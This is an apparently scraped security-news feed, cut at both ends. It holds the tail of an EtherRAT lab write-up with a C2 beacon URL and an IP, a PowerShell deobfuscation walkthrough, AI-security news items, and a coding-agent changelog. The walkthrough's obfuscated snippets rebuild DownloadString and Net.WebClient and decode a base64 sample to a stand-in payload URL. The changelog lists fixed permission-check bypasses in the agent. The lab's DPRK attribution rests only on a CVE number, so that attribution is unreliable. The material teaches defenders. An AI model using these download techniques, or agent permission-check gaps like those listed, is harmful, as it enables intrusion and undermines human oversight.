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
&amp;ieol=CRLF"><strong><em>Link</em></strong></a>), we can determine that It generates a fake-looking URL, which is used for Beaconing:</p><pre>https://&lt;C2_DOMAIN&gt;/api/&lt;RANDOM&gt;/&lt;BOT_ID&gt;/&lt;RANDOM&gt;.&lt;EXT&gt;?&lt;PARAM&gt;=&lt;BOT_ID&gt;<br><br><br>https://63.176.62.199:443/api/&lt;RANDOM&gt;/4ebfbc8aedf60511/&lt;RANDOM&gt;.&lt;EXT&gt;?&lt;PARAM&gt;=4ebfbc8aedf60511</pre><p>So, by searching with this query: http.request.method==GET and ip.src==172.31.44.238 and ip.dst==63.176.62.199, we can see this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zchnVE3ywWnlgaYkZc_hfg.png"></figure><p>All commands by the C2 Beaconing server (with some jitter intervals)</p><p>SO, we can determine the command by following the TLS Stream for each packet, (the command will be seen in the GETresponse packet) like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yY1gdzl-NMzhBQR2DgNueg.png"></figure><p>or another way, with searching for the POSTrequests, from the web-server to the C2 server with query: http.request.method==POST and ip.src==172.31.44.238 and ip.dst==63.176.62.199</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Eh2_E054JqvFSIOisp6UAA.png"></figure><p>and get the precious commands “<em>whoami</em>” with the timestamp:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*acqR2Vl9mFm5SMsTbirT4g.png"></figure><blockquote>2026–02–10 18:40</blockquote><blockquote><strong><em>Q18: </em></strong><em>After establishing access, the attacker closed the door behind them so no one could get in the way they did.<br>What </em><strong><em>Next.js</em></strong><em> version was installed to patch the vulnerability?</em></blockquote><p>investigating all commands by this amazing query:</p><p>http.request.method==POST and ip.src==63.180.69.24 and http.request.uri <br>contains "/login" and http.content_length&gt;339</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MnvPO6KMhyIt7QftYSbe3g.png"></figure><p>we now have all the 8 executed commands, this one is the one we need</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IuLehjV-QTRSsfIV5U5I2g.png"></figure><p>so by investigating each packet (Follow TLS) we can find this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bqBDSeH9JRM7jcQlsrKyEA.png"></figure><blockquote>15.3.9</blockquote><blockquote><strong><em>Q19: </em></strong><em>Based on the observed IOCs and TTPs,<br>which nation-state is most likely behind this activity?</em></blockquote><p>from the CVE number (CVE-2025–55182), we identified that it’s origin from North Korea (<strong>DPRK</strong>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*veWl3yO0BkPGVY53w1pV4w.png"></figure><blockquote>DPRK</blockquote><h4>Thanks For Reading, Hope you enjoyed❤️</h4><h4>Keep in touch with me via: <a href="https://linktr.ee/Prankster99">https://linktr.ee/Prankster99</a></h4><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=e7aecaf51b7a" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/callmeonthechain-etherrat-lab-writeup-cyberdefenders-e7aecaf51b7a">CallMeOnTheChain — EtherRAT Lab Writeup [CyberDefenders]</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[Decoding the Obfuscated Layer: A Playbook Walkthrough of Command-Line Forensics]]></title>
<description><![CDATA[A full and detailed insight into CLI forensics, going into depth following a TryHackMe labSource: TechFusionFor incident responders, security analysts, and threat hunters, discovering an unknown script execution running on an enterprise workstation triggers an immediate race against time. Is it a...]]></description>
<link>https://tsecurity.de/de/3677762/hacking/decoding-the-obfuscated-layer-a-playbook-walkthrough-of-command-line-forensics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677762/hacking/decoding-the-obfuscated-layer-a-playbook-walkthrough-of-command-line-forensics/</guid>
<pubDate>Sat, 18 Jul 2026 11:21:48 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>A full and detailed insight into CLI forensics, going into depth following a TryHackMe lab</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*z2_rLeW29e_A1-URgEyBcw.jpeg"><figcaption>Source: TechFusion</figcaption></figure><p>For incident responders, security analysts, and threat hunters, discovering an unknown script execution running on an enterprise workstation triggers an immediate race against time. Is it a harmless administrative automation tool, or is it an advanced information stealer scraping the credential caches of every corporate browser?</p><p>I recommend you first walk through this article and afterwards complete the TryHackMe lab <a href="https://tryhackme.com/room/obfuscation-aoc2025-e5r8t2y6u9"><strong>Obfuscation: The Egg Shell File</strong></a>.</p><p>The core purpose of this tactical playbook is to provide you with a <strong>highly comprehensive, real-world analytical framework</strong> so you can confidently dive into the live lab environment (don’t, i say DON’T worry about committing every single execution flag or decoding syntax to memory; the structural muscle memory will lock in during the hands-on exercises).</p><p><strong>Let’s cut the fluff and begin:</strong></p><p>In modern security operations, the discipline of malware analysis bridges the gap between passive defense and active threat hunting. Using <a href="https://tryhackme.com/room/obfuscation-aoc2025-e5r8t2y6u9">TryHackMe’s foundational lab</a> featuring <strong>real-world PowerShell obfuscation</strong> strings, this walkthrough guides defenders through the surgical progression required to size up a hostile payload, calculate its technical attributes, map its internal compiled structure, and decrypt its <strong>runtime behavior</strong> safely.</p><h3>📋 The Script Triage Checklist</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fVQzacpYWWO-vFYN.jpg"><figcaption>Source: BitLyft</figcaption></figure><p>When you capture a suspicious script execution string from your <strong>SIEM</strong> (Security Information and Event Management) <strong>logs</strong>, proceed with these steps immediately:</p><ul><li><strong>Isolate and Copy Safely:</strong> Transfer the raw text string into a completely disconnected text editor inside a designated analysis virtual machine.</li><li><strong>Identify the Execution Flags:</strong> Search for evasion switches like -NoP (No Profile), -W Hidden (Window Hidden), or -Enc (Encoded Command), which indicate deliberate bypass actions.</li><li><strong>Locate Network Anchors:</strong> Scan the text string for markers like DownloadString, DownloadFile, curl, or iwr that hint at secondary external downloads.</li><li><strong>Preserve Casing:</strong> Do not run lowercase or uppercase find-and-replace scripts across your sample yet; case variance is often structurally critical to decoding algorithms.</li></ul><h3>Deep Dive: Stripping the Camouflage</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*6nmJ8HdVrRHV92qrBTYjGQ.png"><figcaption><a href="https://www.researchgate.net/figure/The-obfuscation-techniques-of-code-element-layer_fig2_340401812">https://www.researchgate.net/figure/The-obfuscation-techniques-of-code-element-layer_fig2_340401812</a></figcaption></figure><p>Let’s look at an actual example of an <strong>obfuscated script layer</strong> captured directly from an initial access vector payload log.</p><blockquote><strong><em>What to look for in the image:</em></strong><em> Notice how the raw command string uses a combination of string splitting, character swapping, and nested script blocks. Threat actors do this </em><strong><em>to bypass static string matching</em></strong><em> (signatures) used by endpoint detection engines. By analyzing the structural markers, we can map out the exact unpacking routine.</em></blockquote><h4>Layer 1: Undoing String Concatenation</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A0nXU-f5TINGOWU1Ce-ffw.png"><figcaption>GPT Images 2.0 generated photo</figcaption></figure><p>Attackers frequently break apart their critical strings using addition operators or variable insertions to stop simple pattern scanners.</p><pre># Obfuscated string snippet<br>$a = "Down"; $b = "load"; $c = "String"<br>. ( $ExecutionContext.InvokeCommand.ExpandString('$' + 'a' + '$' + 'b' + '$' + 'c') )</pre><p><strong>The Fix:</strong> You don’t have to guess what this does. By loading the script into an isolated PowerShell CLI and replacing the aggressive execution operator (like . or Invoke-Expression / IEX) with a safe print directive like Write-Output, the environment itself will assemble the string for you:</p><pre># Safe evaluation technique<br>Write-Output ( $ExecutionContext.InvokeCommand.ExpandString('$' + 'a' + '$' + 'b' + '$' + 'c') )<br># Output result: DownloadString</pre><h4>Layer 2: Demangling Character Shuffling</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m92GtATfKF2yD6KmfMs2HQ.png"><figcaption>GPT Images 2.0 generated image</figcaption></figure><p>Another popular mechanism involves using <strong>format strings</strong> to re-order components out of sequence at runtime:</p><pre>"{2}{0}{1}" -f 'Net.','WebClient','New-Object </pre><p>The -f operator acts as an indexing map. To decrypt it manually:</p><ul><li>Position {2} grabs the 3rd element: New-Object</li><li>Position {0} grabs the 1st element: Net.</li><li>Position {1} grabs the 2nd element: WebClient</li></ul><p>When evaluated sequentially by the command pipeline, it structures clean and functional telemetry: New-Object Net.WebClient.</p><h4>Layer 3: Defeating Base64 and XOR Rings</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2cEgUTPr8IvHXOAQhUBqjA.png"><figcaption>GPT Images 2.0 generated figure</figcaption></figure><p>The final boss of script obfuscation is almost always an <strong>encoded byte block</strong>. Base64 is easily recognizable by its standard alphanumeric character set and trailing padding markers (=).</p><p>To quickly unwrap these blocks without running the malicious code:</p><ul><li>Copy the raw payload block inside the command string.</li><li>Load the payload directly into <strong>CyberChef</strong> (the open-source utility for security operations).</li><li>Chain together the <strong>From Base64</strong> recipe followed by <strong>Decode Text (UTF-16LE)</strong>.</li></ul><pre>Input:  aAB0AHQAcAA6AC8ALwBtAGEAbAB3AGEAcgBlAC4AbgBlAHQALwBwAGEAeQBsAG8AYQBkAC4AZQB4AGUA<br>Output: http://malware.net/payload.exe</pre><p>By working backward through these layers, you quickly isolate the final <strong>Indicators of Compromise (IoCs) </strong>— such as the secondary payload download URL or target staging paths — allowing your security infrastructure to immediately blacklist the server across the enterprise.</p><h3>🧠 Strategic Takeaway</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RnNGqsHcsh-4wOWfT3Lkag.jpeg"><figcaption>(yayy)</figcaption></figure><p>The <a href="https://tryhackme.com/room/obfuscation-aoc2025-e5r8t2y6u9"><strong>Obfuscation: The Egg Shell File</strong></a> analysis framework underscores a foundational truth of computer network defense: Malware cannot accomplish its mission without leaving a structural or behavioral footprint inside operational logs.</p><blockquote>Whether it is a distinct jump in character selection counts, an unexpected system variable concatenation flag, or a sudden burst of hidden network invocation arguments executed entirely from background windows, an <strong>obfuscated script pipeline</strong> will always reveal its true payload target under systematic scrutiny.</blockquote><p>By utilizing platforms like <strong>CyberChef</strong> to strip back multi-layered <strong>Base64 and XOR encoding architectures</strong> and verifying those outputs within isolated environments, defenders completely eliminate the guesswork from administrative code reviews.</p><p>Go log into <strong>the TryHackMe room</strong>, reverse the nested string layout structures of the script sample, map out the true operational strings, and transform your defensive triage into an optimized playbook.</p><h3>📈 Master the Art of System Forensics &amp; Threat Intelligence</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/337/1*SLfKdWyn-nVH4_for38UxQ.jpeg"><figcaption>The author</figcaption></figure><p>Generic security training <strong>completely collapses</strong> when sophisticated threat groups deploy obfuscated, packed, and tailored payloads across your endpoints.</p><p>To ensure you never miss an in-depth threat intelligence playbook pulling back the curtain on advanced binary analysis, active threat hunting, and modern defense frameworks:</p><ul><li><strong>Follow Pop123 on Medium</strong> for immediate notifications on all newly published technical deep-dives, infrastructure hardening playbooks, and reverse-engineering guides.</li><li><strong>Explore my Security and Machine Learning Projects on </strong><a href="https://github.com/pop123-ux"><strong>GitHub</strong></a></li><li><strong>Subscribe to direct email updates</strong> by clicking the envelope icon (✉️) right next to the follow button so these critical tactical breakdowns land straight in your inbox.</li></ul><p><em>Thank you for reading. This article was entirely written by Pop123. If you found this technical breakdown of the malware analysis matrix valuable, consider leaving a clap and sharing your thoughts, configuration questions, or analytical feedback in the responses below, I am as always open to further discussing the interesting topics!</em></p><p><strong>For collaborations and inquiries</strong>: alexandrupp55@gmail.com</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=d96840b5b5ef" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/decoding-the-obfuscated-layer-a-playbook-walkthrough-of-command-line-forensics-d96840b5b5ef">Decoding the Obfuscated Layer: A Playbook Walkthrough of Command-Line Forensics</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[FIS: Mythos 5 für Cybersicherheit mit Anthropic - Ad Hoc News]]></title>
<description><![CDATA[FIS: Mythos 5 für Cybersicherheit mit Anthropic. Veröffentlicht: 18.07.2026 um 05:24 Uhr, Redaktion boerse-global.de. FIS integriert KI-Modell Mythos ...]]></description>
<link>https://tsecurity.de/de/3677406/it-security-nachrichten/fis-mythos-5-fuer-cybersicherheit-mit-anthropic-ad-hoc-news/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677406/it-security-nachrichten/fis-mythos-5-fuer-cybersicherheit-mit-anthropic-ad-hoc-news/</guid>
<pubDate>Sat, 18 Jul 2026 05:50:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[FIS: Mythos 5 für <b>Cybersicherheit</b> mit Anthropic. Veröffentlicht: 18.07.2026 um 05:24 Uhr, Redaktion boerse-global.de. FIS integriert KI-Modell Mythos ...]]></content:encoded>
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<title><![CDATA[v2.1.214]]></title>
<description><![CDATA[What's changed

Fixed single-segment dir/** allow rules like Edit(src/**) auto-approving writes to nested dir/ directories anywhere in the tree instead of only /dir
Fixed a permission-check bypass affecting commands run in Windows PowerShell 5.1 sessions
Fixed Bash permission checks to fail close...]]></description>
<link>https://tsecurity.de/de/3677323/downloads/v21214/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677323/downloads/v21214/</guid>
<pubDate>Sat, 18 Jul 2026 03:46:25 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Fixed single-segment <code>dir/**</code> allow rules like <code>Edit(src/**)</code> auto-approving writes to nested <code>dir/</code> directories anywhere in the tree instead of only <code>&lt;cwd&gt;/dir</code></li>
<li>Fixed a permission-check bypass affecting commands run in Windows PowerShell 5.1 sessions</li>
<li>Fixed Bash permission checks to fail closed on file-descriptor redirect forms that bash parses differently than the permission analyzer</li>
<li>Fixed Bash permission checks misjudging very long commands — commands over 10,000 characters now always prompt instead of running automatically</li>
<li>Fixed Bash permission checks treating zsh variable subscripts and modifiers in <code>[[ ]]</code> comparisons as inert text — these commands now prompt for approval</li>
<li>Fixed Bash permission checks to no longer auto-approve certain <code>help</code> and <code>man</code> commands that could run unsafe options, command substitutions, or backslash paths</li>
<li>Fixed permission prompts on remote sessions that could proceed before the local confirmation dialog</li>
<li>Added the EndConversation tool: Claude can end sessions with highly abusive users or jailbreak attempts, as on claude.ai since 2025 — see <a href="https://www.anthropic.com/research/end-subset-conversations" rel="nofollow">https://www.anthropic.com/research/end-subset-conversations</a></li>
<li>Added a periodic progress heartbeat for long-running tool calls that previously went silent</li>
<li>Added an ISO <code>modified</code> timestamp to memory file frontmatter</li>
<li>Added <code>message.uuid</code>, <code>client_request_id</code>, and <code>tool_source</code> attributes to OpenTelemetry log events for message-level correlation and tool provenance</li>
<li>Added <code>CLAUDE_CODE_OTEL_CONTENT_MAX_LENGTH</code> to configure the 60 KB truncation limit on OpenTelemetry content attributes</li>
<li>Added reasoning effort to the <code>subagentStatusLine</code> payload, so custom agent rows can render model and effort</li>
<li>Added permission prompts for <code>docker</code> commands (including the Podman <code>docker</code> shim) carrying daemon-redirect flags (<code>--url</code>, <code>--connection</code>, <code>--identity</code>, and Podman's remote mode) that previously ran without one</li>
<li>Fixed a crash when a GrowthBook feature evaluates to null, and a bug where a malformed flag payload could wipe the cached feature flags</li>
<li>Fixed Bash tool killing the Claude session when a <code>pkill -f</code> pattern accidentally matched the CLI's own process (Linux)</li>
<li>Fixed unbounded memory growth when <code>--settings</code> points at a device file or multi-GB file; oversized (&gt;2 MiB) settings files now fail at startup with a clear error</li>
<li>Fixed streaming turns failing with "Socket is closed" behind corporate proxies on Windows</li>
<li>Fixed stream-json output truncation at exit for slow-reading SDK/pipeline consumers; the exit drain now scales with queued bytes instead of a flat 2s cap</li>
<li>Fixed scheduled tasks refusing their own configured prompt as untrusted input — the fired prompt is now delivered as the session's assigned task</li>
<li>Fixed PowerShell tool commands hanging until timeout when a child process waited on standard input (Windows)</li>
<li>Fixed Python scripts under the PowerShell tool crashing with UnicodeDecodeError when reading non-UTF-8 data from standard input (Windows)</li>
<li>Fixed Python scripts run via the PowerShell tool crashing with UnicodeEncodeError on non-ASCII output, and PowerShell 7 error messages containing raw ANSI escape sequences (Windows)</li>
<li>Fixed the PowerShell tool reporting <code>where.exe</code>, <code>fc.exe</code>, and <code>diff.exe</code> as errors when they return a valid negative answer (Windows)</li>
<li>Fixed <code>&gt;</code> and <code>&gt;&gt;</code> under the PowerShell tool on Windows PowerShell 5.1 writing UTF-16LE files that other tools couldn't read as UTF-8</li>
<li>Fixed a displaced background daemon deleting its successor's control socket on shutdown, which made the next client kill the healthy replacement daemon</li>
<li>Fixed background sessions parked with <code>←</code> or <code>/background</code> and left idle keeping the background daemon and a worker process alive indefinitely</li>
<li>Fixed completed background sessions being impossible to remove via <code>claude rm</code> or the agent view once the background service had gone idle</li>
<li>Fixed background sessions dispatched from a non-git folder being impossible to delete from the agents view</li>
<li>Fixed reopening a stopped background session failing to restore its saved conversation when an unreadable folder exists in the session store</li>
<li>Fixed the Remote Control "session ready" push notification firing for sessions where Remote Control was not explicitly enabled</li>
<li>Fixed <code>/install-github-app</code> and the <code>/mcp</code> settings menu being blocked in agent-view sessions — they're now refused only in background sessions with no terminal attached</li>
<li>Fixed plugins enabled via the <code>--settings</code> CLI flag not loading (regression since v2.1.181)</li>
<li>Fixed feature flags going stale in long-running sessions after the OAuth token rotates</li>
<li>Fixed <code>/ultrareview</code> refusing to run in repos with no merge base — it now offers to review all tracked files</li>
<li>Fixed <code>claude update</code> and <code>claude doctor</code> hanging silently, and the <code>/status</code> System diagnostics section going blank, when a shell-config path is a directory</li>
<li>Fixed memory frontmatter values being silently truncated at an inline <code>#</code> when memory files are saved</li>
<li>Fixed session cost and token telemetry double-counting on streams that emit multiple cumulative <code>message_delta</code> frames</li>
<li>Fixed a spurious "check your network" warning that appeared while the advisor was thinking</li>
<li>Fixed hooks with exit code 2 not blocking as documented when the hook's stdout JSON fails schema validation</li>
<li>Fixed OTel log events emitted outside the turn's async context missing the interaction span's trace context</li>
<li>Fixed MCP transient errors during prompts/resources refresh clearing the server's slash commands and resources</li>
<li>Improved the <code>claude rc</code> workspace-trust error in the home directory to say trust there is never saved and to suggest running from a project directory</li>
<li>Changed single-segment <code>dir/**</code> hook <code>if:</code> conditions to match only <code>&lt;cwd&gt;/dir</code>; write <code>**/dir/**</code> for any-depth matching. <code>deny</code>/<code>ask</code> permission rules keep their any-depth match.</li>
<li>Changed <code>file</code> commands using <code>-m</code>/<code>--magic-file</code> or <code>-f</code>/<code>--files-from</code> to require permission instead of being auto-allowed as read-only</li>
<li>Changed keep-alive connection pooling to disable after a stale-connection error, so retries open a fresh socket</li>
<li>Changed SessionStart hooks to report source <code>"fork"</code> when a session begins as a fork instead of <code>"resume"</code></li>
</ul>]]></content:encoded>
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<title><![CDATA[Microsoft’s ‘Project Perception’ Could Challenge Anthropic’s Mythos in AI Security]]></title>
<description><![CDATA[Microsoft is reportedly developing Project Perception, a lower-cost AI security tool that would use multiple models to identify enterprise vulnerabilities. The post Microsoft’s ‘Project Perception’ Could Challenge Anthropic’s Mythos in AI Security appeared first on TechRepublic. This article has ...]]></description>
<link>https://tsecurity.de/de/3677169/it-security-nachrichten/microsofts-project-perception-could-challenge-anthropics-mythos-in-ai-security/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677169/it-security-nachrichten/microsofts-project-perception-could-challenge-anthropics-mythos-in-ai-security/</guid>
<pubDate>Sat, 18 Jul 2026 00:37:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Microsoft is reportedly developing Project Perception, a lower-cost AI security tool that would use multiple models to identify enterprise vulnerabilities. The post Microsoft’s ‘Project Perception’ Could Challenge Anthropic’s Mythos in AI Security appeared first on TechRepublic. This article has been…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/microsofts-project-perception-could-challenge-anthropics-mythos-in-ai-security/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/microsofts-project-perception-could-challenge-anthropics-mythos-in-ai-security/">Microsoft’s ‘Project Perception’ Could Challenge Anthropic’s Mythos in AI Security</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Microsoft’s ‘Project Perception’ Could Challenge Anthropic’s Mythos in AI Security]]></title>
<description><![CDATA[Microsoft is reportedly developing Project Perception, a lower-cost AI security tool that would use multiple models to identify enterprise vulnerabilities.
The post Microsoft’s ‘Project Perception’ Could Challenge Anthropic’s Mythos in AI Security appeared first on TechRepublic.]]></description>
<link>https://tsecurity.de/de/3677127/it-nachrichten/microsofts-project-perception-could-challenge-anthropics-mythos-in-ai-security/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677127/it-nachrichten/microsofts-project-perception-could-challenge-anthropics-mythos-in-ai-security/</guid>
<pubDate>Sat, 18 Jul 2026 00:17:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Microsoft is reportedly developing Project Perception, a lower-cost AI security tool that would use multiple models to identify enterprise vulnerabilities.</p>
<p>The post <a href="https://www.techrepublic.com/article/news-microsoft-project-perception-ai-security-tool/">Microsoft’s ‘Project Perception’ Could Challenge Anthropic’s Mythos in AI Security</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
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<title><![CDATA['You're giving ballistic ⁠missiles to individuals with Mythos': JPMorgan CEO Jamie Dimon says Anthropic's AI model poses some serious risks]]></title>
<description><![CDATA[Restricting Mythos to vetted organizations and keeping it out of the hands of the public seems to be the safest option for Anthropic, with JPMorgan CEO describing its risks as a “real issue.”]]></description>
<link>https://tsecurity.de/de/3677049/it-nachrichten/youre-giving-ballistic-missiles-to-individuals-with-mythos-jpmorgan-ceo-jamie-dimon-says-anthropics-ai-model-poses-some-serious-risks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677049/it-nachrichten/youre-giving-ballistic-missiles-to-individuals-with-mythos-jpmorgan-ceo-jamie-dimon-says-anthropics-ai-model-poses-some-serious-risks/</guid>
<pubDate>Fri, 17 Jul 2026 23:16:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Restricting Mythos to vetted organizations and keeping it out of the hands of the public seems to be the safest option for Anthropic, with JPMorgan CEO describing its risks as a “real issue.”]]></content:encoded>
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<title><![CDATA[Capital One releases VulnHunter, an open-source AI tool that finds software flaws before hackers do]]></title>
<description><![CDATA[Capital One on Thursday released VulnHunter, an open-source, agentic AI security tool that scans source code for exploitable vulnerabilities, maps out how an attacker would reach them, and proposes targeted fixes — all before a single line ships to production. The tool, built internally and now a...]]></description>
<link>https://tsecurity.de/de/3677035/it-nachrichten/capital-one-releases-vulnhunter-an-open-source-ai-tool-that-finds-software-flaws-before-hackers-do/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677035/it-nachrichten/capital-one-releases-vulnhunter-an-open-source-ai-tool-that-finds-software-flaws-before-hackers-do/</guid>
<pubDate>Fri, 17 Jul 2026 23:02:38 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.capitalone.com/">Capital One</a> on Thursday released <a href="https://github.com/capitalone/vulnhunter">VulnHunter</a>, an open-source, agentic AI security tool that scans source code for exploitable vulnerabilities, maps out how an attacker would reach them, and proposes targeted fixes — all before a single line ships to production. The tool, built internally and <a href="https://github.com/capitalone/vulnhunter">now available on GitHub</a> under an Apache 2.0 license, is one of the most ambitious attempts by a major financial institution to turn offensive AI capabilities into a public defensive resource.</p><p>The move marks a striking philosophical turn for a company still defined, in many boardrooms, by a <a href="https://www.capitalone.com/digital/facts2019/">2019 data breach</a> that compromised the personal information of roughly 106 million people across the United States and Canada and ultimately cost the bank an <a href="https://www.occ.gov/news-issuances/news-releases/2020/nr-occ-2020-101.html">$80 million federal fine</a>.</p><p>Capital One is not simply releasing another vulnerability scanner. VulnHunter introduces what the company calls an "<a 